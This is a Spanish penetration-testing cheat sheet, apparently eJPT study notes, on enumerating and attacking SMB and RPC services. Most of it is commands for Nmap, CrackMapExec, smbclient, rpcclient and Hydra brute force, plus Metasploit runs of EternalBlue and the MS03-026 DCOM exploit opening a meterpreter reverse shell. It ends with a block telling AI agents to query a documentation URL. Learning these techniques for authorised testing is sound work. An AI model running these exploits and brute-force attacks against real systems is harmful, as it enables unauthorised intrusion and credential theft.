# Puertos - 139,445 SMB

### 🔍 Auditoría de Puertos 135,139/445 - SMB - RPC

Los puertos **139 y 445** son utilizados por el protocolo **SMB (Server Message Block)**, que permite compartir archivos e impresoras en redes Windows. Debido a su importancia, es un objetivo frecuente en auditorías de seguridad.

***

**Resumen de Herramientas y Técnicas SMB**

Esta guía cubre las principales herramientas y técnicas para auditar servicios SMB/Samba en los puertos 135 y 445.

1. Herramientas Principales
   * 🔍 smbclient y smbmap: Interacción con recursos compartidos
   * 🔧 rpcclient: Consultas RPC a servidores SMB
   * 🛠️ Nmap + Scripts NSE: Enumeración y detección de vulnerabilidades
   * 🔨 Metasploit: Módulos específicos para pruebas
2. Proceso de Auditoría Recomendado
   1. Enumeración inicial con smbclient,smbmap,crackmapexec y Nmap
   2. Análisis de vulnerabilidades con scripts NSE
   3. Enumeración detallada con rpcclient
   4. Post-explotación y montaje de recursos
   5. Búsqueda de información sensible (en otro módulo)

**🔹Herramientas esenciales para está auditoria:**

* Smbclient
* Smbmap
* rpcclient
* Nmap
* Crackmapexec

**🔹Puertos importantes:**

* 135 (RPC)
* 445 (SMB)
* 137-139 (NetBIOS)

**🔹Vulnerabilidades comunes:**

* EternalBlue
* SMBGhost
* PetitPotam
* SMBleed

***

### **🕵️ Reconocimiento e identificación del Servicio SMB**

Determinar la versión del servicio SMB es fundamental para detectar posibles vulnerabilidades. Podemos hacerlo de varias maneras:

**🔹 Reconocimiento con Nmap**

```bash
nmap -p 139,445 --script smb-os-discovery <ip_victima>
nmap -p 139,445 --script smb-protocols <ip_victima>
nmap -p 139,445 --script smb-security-mode <ip_victima>
nmap --script "smb-enum-*" -p445 <ip_victima> # Lanzar todos los scripts de reconocimiento.
nmap --script smb-enum-shares -p 139,445 <ip_victima> # Identificación de Recursos Compartidos
nmap --script smb-enum-users -p 139,445 <ip_victima> # Identificación de Recursos Compartidos
```

> *💡 Importante: SMBv1 es altamente vulnerable y puede ser explotado con herramientas como EternalBlue.*

### **🔑 Uso de CrackMapExec para Enumeración de Usuarios y Recursos**

```bash
crackmapexec smb <ip> # Realiza un escaneo básico de SMB en el host especificado.
crackmapexec smb <ip> -u '' -p '' --shares # Lista los recursos compartidos sin credenciales mediante una null session.
crackmapexec smb <ip> -u <usuario> -p <password> --shares # Lista los recursos compartidos proporcionando unas credenciales validas.
crackmapexec smb <ip> -u <usuario> -p <password> --users # Enumera los usuarios del sistema SMB del objetivo.
crackmapexec smb <ip> -u <usuario> -p <password> --groups # Lista los grupos de usuarios en la máquina SMB objetivo.
crackmapexec smb <ip> -u <username_wordlsit.txt> -p <'contraseña'> --continue-on-success # Probar para una lista de usuarios una misma contraseña.
```

Estos comando nos permite identificar la versión de SMB, recursos compartidos, usuarios y políticas de seguridad.

### **🔑 Uso de CrackMapExec para fuerza bruta**

```bash
crackmapexec smb <ip> -u <username> -p <ruta_wordlist.txt> # Realizamos un ataque de fuerza bruta.
```

**🔑 Uso de Smbclient y Smbmap para enumeración de usuarios y recursos**

SMBMap y Smbclient permiten enumerar recursos compartidos y permisos.

```bash
smbclient -L <ip> -N # Intentamos listas los recursos compartidos con una null session.
smbmap -H <ip> # Realizamos el mismo escaneo que antes, pero esta vez no arrojará información de los permisos que tenemos para cada directorio.
smbclient //<ip>/<recurso> -N # Con este comando accederemos al recurso al que tengamos acceso.
smbmap -H <ip> -r <recurso> # Listamos el contenido del recurso al que apuntamos.
smbclient //<ip>/<recurso> -U <usuario>%<contraseña> # Listamos recursos con credenciales.
smbmap -H <ip> -u <usuario> -p <contraseña> -d <ominio> # Enumeración con credenciales
smbmap -R <carpeta> -H <ip> -A <archivo> -q # Descarga un archivo a tu maquina local.
```

### **💡 Comando útiles cuando consigues acceso:**

```bash
dir # Listar contenido 
get <nombre_archivo> # Descargar archivo 
mget *.txt # Descarga múltiples archivos
put <nombre_archivo> # Subir archivo 
cd folder # Cambiar directorio
```

### **🔑 Uso de Metasploit para enumeración de usuarios y recursos**

```bash
msfconsole -q
use auxiliary/scanner/smb/smb_version
set RHOSTS <ip_victima>
run
```

### **🔹Enumeración de Recursos Compartidos en SMB**

```bash
masconsole -q
use auxiliary/scanner/smb/smb_enumshares 
set RHOSTS <ip_victima> 
run
```

### **🔹 Ataque EternalBlue (MS17-010) en SMB**

```bash
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue 
set RHOSTS <ip_victima> 
set LHOST <tu_ip> 
set LPORT 4444 
exploit
```

### **🔑 Enumeración con Enum4Linux**

Enum4linux es una herramienta wrapper que utiliza las utilidades de Samba para enumerar información:

```bash
enum4linux -a <ip> # Enumeración completa.
enum4linux -U <ip> # Enumeración de usuarios.
enum4linux -u <usuario> -p <password> -S <ip> # Enumerar shares con autenticación
enum4linux -a -u "" -p "" <ip> # Enumerar con null session
```

***

### **🔍 Auditoría del Servicio RPC con RPCClient y Metasploit**

El puerto 135 (RPC) es un servicio en sistemas Windows que permite la comunicación entre procesos distribuidos. Este puerto es clave en la administración remota.

**🕵️ Reconocimiento del Servicio RPC (Puerto 135)**

```bash
nmap -p 135 --script=rpcinfo <ip_victima> # Identificar versión rpc.
```

### **🔑 Enumeración del Servicio RPC con RPCClient**

**🔹 Conexión al Servicio RPC**

```bash
rpcclient -U "" <ip_victima> # Sin credenciales.
rpcclient -U "<usuario>%<contraseña>" <ip_victima> # Con credenciales.
enumdomusers # Enumeración de Usuarios en el Sistema
querygroup # Obtener Información de los Grupos
querydominfo # Identificar el Nombre del Dominio
lsaenumsid # Obtener SID del Dominio
```

El comando **rpcclient** de Samba nos permite interactuar con el servicio RPC para extraer información sobre el sistema Windows.

### **🚀 Ataques al Servicio RPC con Metasploit**

**🔹Escaneo de Servicios RPC con Metasploit**

```bash
msfconsole -q
use auxiliary/scanner/dcerpc/endpoint_mapper
set RHOSTS <ip_victima>
exploit
```

### **🎯 Explotación del Servicio RPC**

```bash
use exploit/windows/dcerpc/ms03_026_dcom 
set RHOSTS <ip_victima> 
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST <tu_ip> 
set LPORT 4444 
exploit
```

**🛠️ Ataque de Fuerza Bruta en SMB con Hydra**

Podemos utilizar **Hydra** para realizar ataques de fuerza bruta sobre SMB:

```bash
hydra -L <diccionario_usuarios.txt> -P <diccionario_passwords.txt> smb://<ip_victima>
```

***


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://henkosec.gitbook.io/henkosec/ejptv2/puertos-139-445-smb.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
